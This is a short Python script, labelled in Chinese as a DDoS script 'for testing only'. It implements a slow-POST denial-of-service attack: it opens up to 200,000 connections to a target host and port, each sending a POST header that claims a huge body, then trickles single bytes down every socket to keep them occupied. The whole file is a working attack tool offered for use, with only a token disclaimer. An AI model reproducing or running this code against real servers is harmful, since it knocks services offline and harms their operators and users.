[python]DDOS脚本
代码仅用于测试
#!/usr/bin/env python
import socket
import time
import threading
import sys
# 检查命令行参数
if len(sys.argv) < 2:
print("用法: python ddos.py <host> <port>")
sys.exit(1)
# ---------------------------
MAX_CONN = 200000
HOST = sys.argv[1]
PORT = int(sys.argv[2])
PAGE = "/"
# ---------------------------
buf = ("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE, HOST))
socks = []
def conn_thread():
global socks
for i in range(0, MAX_CONN):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST, PORT))
s.send(buf.encode("utf-8"))
print("Send buf OK!,conn=%d\n" % i)
socks.append(s)
except Exception as ex:
print("Could not connect to server or send error:%s" % ex)
time.sleep(1)
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode("utf-8"))
print("send f OK!")
except Exception as ex:
print("Send Exception:%s\n" % ex)
socks.remove(s)
s.close()
time.sleep(0.1)
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start()